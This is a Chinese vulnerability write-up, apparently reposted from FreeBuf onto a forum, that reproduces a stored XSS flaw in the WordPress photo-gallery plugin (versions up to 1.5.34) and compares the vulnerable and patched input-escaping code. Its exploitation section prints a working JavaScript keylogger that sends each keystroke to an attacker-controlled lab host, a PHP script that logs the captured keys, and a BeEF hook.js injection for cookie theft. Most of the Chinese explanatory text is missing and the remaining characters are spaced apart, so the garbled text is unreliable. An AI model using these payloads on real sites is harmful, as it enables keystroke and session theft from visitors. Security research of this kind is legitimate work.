[14634] 2019-09-27_WordPress插件中的XSS漏洞的复现分析与利用

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-18
2019-09-27_WordPress插件中的XSS漏洞的复现分析与利用 W o r d P r e s s X S S N e r o q i   F r e e B u f   2 0 1 9 - 0 9 - 2 7 W o r d P r e s s 使 使 P H P M y S Q L P H P     M y S Q L 便 便 W o r d P r e s s p h o t o - g a l l e r y p h o t o - g a l l e r y < = 1 . 5 . 3 4 X S S 1 . k a l i - l i n u x - 2 0 1 8 . 3 - v m - i 3 8 6 2 . D e b i a n 9 . 6   x 6 4 3 . w o r d p r e s s - 5 . 2 . 2 4 . p h o t o - g a l l e r y . 1 . 5 . 3 4 1 . X A M P P   f o r   L i n u x   5 . 6 . 3 0 2 . B e E F   0 . 4 . 7 . 0 - a l p h a 3 . M o z i l l a   F i r e f o x   6 0 . 6 . 2 1 . p h o t o - g a l l e r y A d d   G a l l e r i e s / I m a g e s T e s t B a s i c A d v a n c e d 2 . G a l l e r y   t i t l e S l u g D e s c r i p t i o n 3 . A l t / T i t l e D e s c r i p t i o n < s c r i p t > a l e r t ( " H e l l o " ) ; < / s c r i p t > < s c r i p t > a l e r t ( " W o r l d " ) ; < / s c r i p t >
X S S 4 . G a l l e r y s a v e P r e v i e w H e l l o A l t / T i t l e X S S 5 . G a l l e r y P r e v i e w W o r l d D e s c r i p t i o n X S S p h o t o - g a l l e r y A d d   G a l l e r i e s / I m a g e s X S S U R L h t t p : / / 1 9 2 . 1 6 8 . 1 8 8 . 1 5 5 / w o r d p r e s s / b w g _ g a l l e r y / t e s t x s s / X S S X S S d e s c r i p t i o n a l t D e s c r i p t i o n A l t / T i t l e W D W L i b r a r y g e t v a l i d a t e _ d a t a $ d e s c r i p t i o n   =   s t r _ r e p l a c e ( a r r a y ( ' ' ,   ' t ' ) ,   ' ' ,   W D W L i b r a r y : : g e t ( ' i m a g e _ d e s c r i p t i o n _ '   .   $ i m a g e _ i d ,   ' ' ) ) ; $ a l t   =   s t r _ r e p l a c e ( a r r a y ( ' ' ,   ' t ' ) ,   ' ' ,     W D W L i b r a r y : : g e t ( ' i m a g e _ a l t _ t e x t _ '   .   $ i m a g e _ i d ,   ' ' ,   F A L S E ) ) ; $ a l t   =   e s c _ h t m l ( p r e g _ r e p l a c e ( " / ] * > | < / a > / " ,   ' ' ,   $ a l t ) ) ; p u b l i c   s t a t i c   f u n c t i o n   g e t ( $ k e y ,   $ d e f a u l t _ v a l u e   =   ' ' ,   $ e s c _ h t m l   =   t r u e )   {         i f   ( i s s e t ( $ _ G E T [ $ k e y ] ) )   {             $ v a l u e   =   $ _ G E T [ $ k e y ] ;         }         e l s e i f   ( i s s e t ( $ _ P O S T [ $ k e y ] ) )   {             $ v a l u e   =   $ _ P O S T [ $ k e y ] ;         }         e l s e i f   ( i s s e t ( $ _ R E Q U E S T [ $ k e y ] ) )   {             $ v a l u e   =   $ _ R E Q U E S T [ $ k e y ] ;         }         e l s e   {             $ v a l u e   =   $ d e f a u l t _ v a l u e ;         }         i f   ( i s _ a r r a y ( $ v a l u e ) )   {             a r r a y _ w a l k _ r e c u r s i v e ( $ v a l u e ,   a r r a y ( ' s e l f ' ,   ' v a l i d a t e _ d a t a ' ) ,   $ e s c _ h t m l ) ;
$ d e s c r i p t i o n 使 W D W L i b r a r y g e t $ e s c _ h t m l $ e s c _ h t m l 使 t r u e 使 e s c _ h t m l $ a l t 使 W D W L i b r a r y g e t $ e s c _ h t m l F A L S E g e t 使 e s c _ h t m l 使 p r e g _ r e p l a c e 使 e s c _ h t m l e s c _ h t m l p r e g _ r e p l a c e 使 / ] * > | < / a > / X S S w p _ c h e c k _ i n v a l i d _ u t f 8 u t f 8 _ w p _ s p e c i a l c h a r s H T M L & ,   < ,   > ,   ,   a n d   . h t m l X S S M y S Q L < = 1 . 5 . 3 4 X S S P h o t o - G a l l e r y 1 . 5 . 3 5 1 . 5 . 3 5 $ d e s c r i p t i o n $ a l t 使 W D W L i b r a r y g e t g e t w p _ f i l t e r _ p o s t _ k s e s w p _ f i l t e r _ p o s t _ k s e s a d d s l a s h e s w p _ k s e s w p _ k s e s H T M L H T M L w p _ k s e s _ s p l i t X S S             a r r a y _ w a l k _ r e c u r s i v e ( $ v a l u e ,   a r r a y ( ' s e l f ' ,   ' v a l i d a t e _ d a t a ' ) ,   $ e s c _ h t m l ) ;         }         e l s e   {             s e l f : : v a l i d a t e _ d a t a ( $ v a l u e ,   $ e s c _ h t m l ) ;         }         r e t u r n   $ v a l u e ;     }     p r i v a t e   s t a t i c   f u n c t i o n   v a l i d a t e _ d a t a ( & $ v a l u e ,   $ e s c _ h t m l )   {         $ v a l u e   =   s t r i p s l a s h e s ( $ v a l u e ) ;         i f   ( $ e s c _ h t m l )   {             $ v a l u e   =   e s c _ h t m l ( $ v a l u e ) ;         }     } f u n c t i o n   e s c _ h t m l (   $ t e x t   )   {     $ s a f e _ t e x t   =   w p _ c h e c k _ i n v a l i d _ u t f 8 (   $ t e x t   ) ;     $ s a f e _ t e x t   =   _ w p _ s p e c i a l c h a r s (   $ s a f e _ t e x t ,   E N T _ Q U O T E S   ) ;     r e t u r n   a p p l y _ f i l t e r s (   ' e s c _ h t m l ' ,   $ s a f e _ t e x t ,   $ t e x t   ) ; } $ d e s c r i p t i o n   =   s t r _ r e p l a c e ( a r r a y ( ' ' ,   ' t ' ) ,   ' ' ,   W D W L i b r a r y : : g e t ( ' i m a g e _ d e s c r i p t i o n _ '   .   $ i m a g e _ i d ,   ' w p _ f i l t e r _ p o s t _ k s e s ' ) ) ; $ a l t   =   s t r _ r e p l a c e ( a r r a y ( ' ' ,   ' t ' ) ,   ' ' ,     W D W L i b r a r y : : g e t ( ' i m a g e _ a l t _ t e x t _ '   .   $ i m a g e _ i d ,   ' ' ,   ' w p _ f i l t e r _ p o s t _ k s e s ' ) ) ; $ a l t   =   p r e g _ r e p l a c e ( " / ] * > | < / a > / " ,   ' ' ,   $ a l t ) ; f u n c t i o n   w p _ f i l t e r _ p o s t _ k s e s (   $ d a t a   )   {     r e t u r n   a d d s l a s h e s (   w p _ k s e s (   s t r i p s l a s h e s (   $ d a t a   ) ,   ' p o s t '   )   ) ; } f u n c t i o n   w p _ k s e s (   $ s t r i n g ,   $ a l l o w e d _ h t m l ,   $ a l l o w e d _ p r o t o c o l s   =   a r r a y ( )   )   {     i f   (   e m p t y (   $ a l l o w e d _ p r o t o c o l s   )   )   {         $ a l l o w e d _ p r o t o c o l s   =   w p _ a l l o w e d _ p r o t o c o l s ( ) ;     }     $ s t r i n g   =   w p _ k s e s _ n o _ n u l l (   $ s t r i n g ,   a r r a y (   ' s l a s h _ z e r o '   = >   ' k e e p '   )   ) ;     $ s t r i n g   =   w p _ k s e s _ n o r m a l i z e _ e n t i t i e s (   $ s t r i n g   ) ;     $ s t r i n g   =   w p _ k s e s _ h o o k (   $ s t r i n g ,   $ a l l o w e d _ h t m l ,   $ a l l o w e d _ p r o t o c o l s   ) ;     r e t u r n   w p _ k s e s _ s p l i t (   $ s t r i n g ,   $ a l l o w e d _ h t m l ,   $ a l l o w e d _ p r o t o c o l s   ) ; } f u n c t i o n   w p _ k s e s _ s p l i t (   $ s t r i n g ,   $ a l l o w e d _ h t m l ,   $ a l l o w e d _ p r o t o c o l s   )   {     g l o b a l   $ p a s s _ a l l o w e d _ h t m l ,   $ p a s s _ a l l o w e d _ p r o t o c o l s ;     $ p a s s _ a l l o w e d _ h t m l             =   $ a l l o w e d _ h t m l ;     $ p a s s _ a l l o w e d _ p r o t o c o l s   =   $ a l l o w e d _ p r o t o c o l s ;     r e t u r n   p r e g _ r e p l a c e _ c a l l b a c k (   ' % ( | $ ) ) | ( < [ ^ > ] * ( > | $ ) | > ) % ' ,   ' _ w p _ k s e s _ s p l i t _ c a l l b a c k ' ,   $ s t r i n g   ) ; }
W D W L i b r a r y g e t $ e s c _ h t m l   =   t r u e $ c a l l b a c k   =   ' e s c _ h t m l ' 使 e s c _ h t m l w p _ f i l t e r _ p o s t _ k s e s 使 w p _ f i l t e r _ p o s t _ k s e s a r r a y _ w a l k _ r e c u r s i v e ( $ v a l u e ,   a r r a y ( ' s e l f ' ,   ' v a l i d a t e _ d a t a ' ) ,   $ c a l l b a c k ) $ c a l l b a c k W D W L i b r a r y v a l i d a t e _ d a t a 使 v a l i d a t e _ d a t a v a l u e g e t v a l i d a t e _ d a t a 1 . X S S 1 . 1 k e y r e c o r d e r . j s k e y r e c o r d e r . p h p K a l i / v a r / w w w / h t m l s e r v i c e   a p a c h e 2   s t a r t a p a c h e k e y r e c o r d e r . j s k e y r e c o r d e r . p h p 1 . 2 A l t / T i t l e D e s c r i p t i o n : s a v e P r e v i e w 1 . 3 h t t p : / / 1 9 2 . 1 6 8 . 1 8 8 . 1 5 5 / w o r d p r e s s / b w g _ g a l l e r y / t e s t x s s / K a l i H e l l o   W o r l d K a l i k e y r e c o r d . t x t W e b X S S p u b l i c   s t a t i c   f u n c t i o n   g e t ( $ k e y ,   $ d e f a u l t _ v a l u e   =   ' ' ,   $ c a l l b a c k   =   ' e s c _ h t m l ' )   {         i f   ( i s s e t ( $ _ G E T [ $ k e y ] ) )   {             $ v a l u e   =   $ _ G E T [ $ k e y ] ;         }         e l s e i f   ( i s s e t ( $ _ P O S T [ $ k e y ] ) )   {             $ v a l u e   =   $ _ P O S T [ $ k e y ] ;         }         e l s e i f   ( i s s e t ( $ _ R E Q U E S T [ $ k e y ] ) )   {             $ v a l u e   =   $ _ R E Q U E S T [ $ k e y ] ;         }         e l s e   {             $ v a l u e   =   $ d e f a u l t _ v a l u e ;         }         i f   ( i s _ a r r a y ( $ v a l u e ) )   {             a r r a y _ w a l k _ r e c u r s i v e ( $ v a l u e ,   a r r a y ( ' s e l f ' ,   ' v a l i d a t e _ d a t a ' ) ,   $ c a l l b a c k ) ;         }         e l s e   {             s e l f : : v a l i d a t e _ d a t a ( $ v a l u e ,   $ c a l l b a c k ) ;         }         r e t u r n   $ v a l u e ;     } p r i v a t e   s t a t i c   f u n c t i o n   v a l i d a t e _ d a t a ( & $ v a l u e ,   $ c a l l b a c k )   {         $ v a l u e   =   s t r i p s l a s h e s ( $ v a l u e ) ;         i f   (   $ c a l l b a c k   )   {             $ v a l u e   =   $ c a l l b a c k ( $ v a l u e ) ;         }     } d o c u m e n t . o n k e y p r e s s   =   f u n c t i o n ( e v t ) {     e v t   =   e v t   | |   w i n d o w . e v e n t     k e y r e c o r d   =   S t r i n g . f r o m C h a r C o d e ( e v t . c h a r C o d e )     i f   ( k e y r e c o r d )   {         v a r   h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;         v a r   p a r a m   =   e n c o d e U R I ( k e y r e c o r d ) ;         h t t p . o p e n ( " P O S T " , " h t t p : / / 1 9 2 . 1 6 8 . 1 8 8 . 1 5 6 / k e y r e c o r d e r . p h p " , t r u e ) ;         h t t p . s e t R e q u e s t H e a d e r ( " C o n t e n t - t y p e " , " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ;         h t t p . s e n d ( " k e y r e c o r d = " + p a r a m ) ;         } } < ? p h p   $ k e y = $ _ P O S T [ ' k e y r e c o r d ' ] ;   $ r e c o r d _ f i l e = " k e y r e c o r d . t x t " ;     $ r e c o r d _ f p   =   f o p e n ( $ r e c o r d _ f i l e ,   " a " ) ;   f w r i t e ( $ r e c o r d _ f p ,   $ k e y ) ;   f c l o s e ( $ r e c o r d _ f p ) ;   ? > < s c r i p t   s r c = " h t t p : / / 1 9 2 . 1 6 8 . 1 8 8 . 1 5 6 / k e y r e c o r d e r . j s " > < / s c r i p t >
2 . B e E F 2 . 1 K a l i   L i n u x B e E F A l t / T i t l e D e s c r i p t i o n p h o t o - g a l l e r y P r e v i e w X S S B e E F 2 . 2 B e E F C o o k i e C o o k i e X S S S Q L X S S 2 . 3 B e E F 2 . 4 B e E F < s c r i p t   s r c = " h t t p : / / 1 9 2 . 1 6 8 . 1 8 8 . 1 5 6 : 3 0 0 0 / h o o k . j s " > < / s c r i p t >
P S B e E F X S S H T M L   J a v a S c r i p t H T M L J a v a S c r i p t * N e r o q i F r e e B u f

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则